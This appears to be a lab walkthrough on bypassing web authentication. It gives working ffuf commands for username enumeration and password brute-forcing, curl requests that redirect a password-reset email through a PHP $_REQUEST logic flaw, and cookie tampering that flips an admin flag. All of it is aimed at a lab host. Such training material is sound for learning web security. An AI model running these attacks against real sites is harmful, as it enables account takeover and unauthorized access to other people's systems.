Bypassing Authentication Controls
When hunting for authentication vulnerabilities, a useful first exercise is building a list of valid usernames.
Website error messages are a great source for this. For example, entering a username like Admin on a create-account screen along with fake details often throws an error like "An account with this username already exists". That tells you the account is real, which helps build a user list to brute force with a tool such as ffuf.
Username Enumeration with Ffuf
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.197.100/customers/signup -mr "username already exists"
-wselects the file location where the username list is contained.-Xsets the HTTP request method, i.e.POST.-dspecifies the data that will be sent, i.e."username=FUZZ&email=x&password=x&cpassword=x".-Hadds additional headers to the request.Content-Typeis set so the webserver knows we are sending form data.-uspecifies the URL we are making the request to.-mris the text on the page we are looking for to validate that we've found a valid username.
In ffuf, FUZZ marks where the contents from the specified wordlist are inserted into the request.
After running the enumeration, a list of names comes back as valid. Copy those into a new text file such as valid_usernames.txt for use during the brute force stage.
Brute Force
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.197.100/customers/login -fc 200
This ffuf command differs from the previous one. Before, we used the FUZZ keyword to mark where the wordlist data goes, but because we're using multiple wordlists here, we have to define our own keywords.
W1is our list of valid usernames.W2is the list of passwords we will try.-fcchecks for (filters) an HTTP status code other than 200.
Manipulating Logic Flaws
Email reset functions can be turned to our advantage. Take a case where the username field is submitted as POST data to the webserver, while the email address is sent in the query string as a GET field.
Here's how to make that request manually with curl:
curl 'http://10.10.197.100/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'
In the application, the user account is retrieved using the query string, but later, in the application logic, the password reset email is sent using the data found in the PHP variable $_REQUEST.
The PHP $_REQUEST variable is an array containing data received from both the query string and POST data. When the same key name is used for both, the logic for this variable favors POST data over the query string. So if we add another parameter to the POST form, we can control where the password reset email gets delivered:
curl 'http://10.10.197.100/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=test@customer.acmeitsupport.thm'
Cookie Tampering
Imagine we get a set of cookies for a successful login:
Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/
We can manipulate these with curl.
This returns Not Logged In:
curl http://10.10.197.100/cookie-test
Sending the cookies back with admin=false returns Logged In As A User:
curl -H "Cookie: logged_in=true; admin=false" http://10.10.197.100/cookie-test
And flipping admin to true returns Logged In As An Admin:
curl -H "Cookie: logged_in=true; admin=true" http://10.10.197.100/cookie-test
Hashing
Sometimes we need to identify hashes for passwords. Since they are irreversible, we can use services such as https://crackstation.net to look up known ones.